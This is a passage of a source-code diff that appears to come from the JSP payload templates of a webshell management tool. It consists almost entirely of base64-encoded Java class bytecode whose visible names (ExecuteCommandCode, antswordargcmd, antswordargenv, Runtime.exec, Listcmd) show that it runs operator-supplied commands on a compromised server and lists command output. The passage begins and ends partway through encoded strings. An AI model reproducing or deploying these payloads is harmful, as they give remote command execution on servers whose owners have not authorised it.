YS9pby9JbnB1dFN0cmVhbQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAKc3RhcnRzV2l0aAEAFShMamF2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',
-    'var1': '#{bin}',
-    'var2': '#{cmd}',
+    _: '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VwFYDACMAI0MAVkBWAEAB29zLm5hbWUMAVoBFgEAA3dpbgwBWwFcAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAHIBXQwAcgFeDAFfARYBAAINCgwBYABzAQAERXhlYwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAA1qYXZhL3V0aWwvTWFwAQASamF2YS91dGlsL0l0ZXJhdG9yAQATamF2YS9pby9JbnB1dFN0cmVhbQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAJY29tcGFyZVRvAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAZnZXRlbnYBABEoKUxqYXZhL3V0aWwvTWFwOwEAEihMamF2YS91dGlsL01hcDspVgEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAARzaXplAQAGa2V5U2V0AQARKClMamF2YS91dGlsL1NldDsBAA1qYXZhL3V0aWwvU2V0AQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7AQAHaGFzTmV4dAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2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',
+    [arg1]: "#{newbase64::bin}",
+    [arg2]: "#{newbase64::cmd}",
+    [arg3]: "#{newbase64::env}"
   },
   listcmd: {
-    _: 'Y',
-    'z1': '#{binarr}'
+    _: 'yv66vgAAADMA+woAQQBtBwBuCgACAG8KAAIAcAgAcQkAUQByCABzCQBRAHQIAHUJAFEAdgcAdwgAeAoACwB5CAB6CAB7CAB8CAB9CwB+AH8LAIAAgQsAfgCBBwCCCgAVAG0LAIAAgwoAFQCECgAVAIUKAFEAhgoAUQCHCgALAIgKAFEAiQoACwCFCgACAIoKAIsAjAcAjQgAjgoAIQCFCACPCgAmAJAHAJEKACYAkgoAJgCTCgCUAJUKACYAlggAlwgAmAoAJgCZBwCaCgAmAJsKAC4AnAoAJgCdCgAmAJ4KABUAnwgAoAoALgChCACiCgAuAKMIAKQKAKUApggApwoAJgCoCACpCgA/AKoIAKsHAKwKAD8ArQcArgoArwCwCgBBALEIAGcHALIIALMKAD8AtAoAtQC2CAC3CgAmALgHALkKAEsAeQoASwC6CgBLALsIALwIAL0HAL4BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAxyYW5kb21QcmVmaXgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAvgcArgcAbgcAvwcAwAcAdwcAkQcAjQEAAkVDAQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCaAQALTGlzdGNtZENvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAwQcAuQwAVgBXAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMIAwwwAxADFAQAUYW50c3dvcmRyYW5kb21QcmVmaXgMAFUAUwEABmJhc2U2NAwAUgBTAQAPYW50c3dvcmRDaGFyc2V0DABUAFMBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADABWAMYBAAMtPnwBAAN8PC0BABFhbnRzd29yZGFyZ2JpbmFycgEACXRleHQvaHRtbAcAwAwAxwDGBwC/DADIAMYBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAyQBqDADKAMsMAMwAzQwAZwBlDABkAGUMAMoAzgwAaQBqDADPANAHANEMANIAxgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFkAWgEAEGphdmEvbGFuZy9TdHJpbmcMANMA1AwAVgDVBwDWDADXANgMANkA2gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADbAM0BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA3ADdDABWAN4MAN8A4AwA4QDiDADKAOMBAAEsDADkAN4BAAVVVEYtOAwAzABqAQAMamF2YS52ZXJzaW9uBwDlDADmAGoBAAMxLjkMAOcA2AEAEGphdmEudXRpbC5CYXNlNjQMAOgA6QEACmdldERlY29kZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAOoA6wEAEGphdmEvbGFuZy9PYmplY3QHAOwMAO0A7gwA7wDwAQACW0IBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDADxAPIHAPMMAPQA9QEADGRlY29kZUJ1ZmZlcgwA9gD3AQAMamF2YS9pby9GaWxlDAD4APkMAPoA+QEAAwkxCgEAAwkwCgEAB0xpc3RjbWQBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAJY29tcGFyZVRvAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABmV4aXN0cwEAAygpWgEAC2lzRGlyZWN0b3J5ACEAUQBBAAAAAwABAFIAUwAAAAEAVABTAAAAAQBVAFMAAAAFAAEAVgBXAAEAWAAAABEAAQABAAAABSq3AAGxAAAAAAABAFkAWgABAFgAAAEyAAUACwAAAO0rwAACTSy2AANOLLYABDoEKhIFtQAGKhIHtQAIKhIJtQAKuwALWRIMtwANOgW7AAtZEgy3AA06BhIOOgcSDzoIEhA6CRkEEhG5ABICAC0qtAAKuQATAgAZBCq0AAq5ABQCACoquwAVWbcAFi0ZCbkAFwIAtgAYEgy2ABi2ABkqtAAIKrQACrYAGiq0AAgqtAAKtgAbOgoZBRkHtgAcVxkGKhkKtgAdtgAcVxkFGQa2AB62ABxXGQUZCLYAHFcstgAfGQW2AB62ACCnACI6ChkGuwAVWbcAFhIitgAYGQq2ACO2ABi2ABm2ABxXBKwAAQBEAMkAzAAhAAEAWwAAACsAAv8AzAAKBwBcBwBdBwBeBwBfBwBgBwBhBwBhBwBiBwBiBwBiAAEHAGMeAAAAZABlAAIAWAAAADQABAAEAAAAHiwSJLYAJZoACSwSJKYABSuwuwAmWSu2ACcttwAosAAAAAEAWwAAAAQAAg8BAGYAAAAEAAEAIQAAAGcAZQACAFgAAAHtAAYACQAAAYIDNgQqtAAGuAApNgQrFQS2ACpMpwAIOgUDNgQsEiS2ACWaAAksEiSmAJ8rEiulAAwrEiu2ACWZAAYSDLASLDoFK7YALUy7AC5ZK7YALwVstwAwOgYSDDoHAzYIFQgrtgAvogBduwAVWbcAFhkHtgAYGQUrFQi2ADG2ADIHeBkFKxUIBGC2ADG2ADKAtgAzEjS2ABi2ABk6BxkGGQUrFQi2ADG2ADIHeBkFKxUIBGC2ADG2ADKAtgA1hAgCp/+gGQYSNrYAN7AsEge2ACWaAAksEgemAK4BOgUSOLgAOToGGQYSOrYAO5sATBI8uAA9OgcZBxI+A70AP7YAQBkHA70AQbYAQjoIGQi2AEMSRAS9AD9ZAxMAJlO2AEAZCAS9AEFZAytTtgBCwABFwABFOgWnAEUSRrgAPToHGQcDvQA/tgBHA70AQbYASDoIGQi2AEMSSQS9AD9ZAxMAJlO2AEAZCAS9AEFZAytTtgBCwABFwABFOgW7ACZZGQUSNrcAKLArsAABAAMAEwAWACEAAQBbAAAAUQAM/wAWAAUHAFwHAGIHAGIHAGIBAAEHAGMEDg4C/wAeAAkHAFwHAGIHAGIHAGIBBwBiBwBoBwBiAQAA+gBi+AAHDv0AXAcARQcAYvsAQfkACwBmAAAABAABACEAAABpAGoAAQBYAAAAn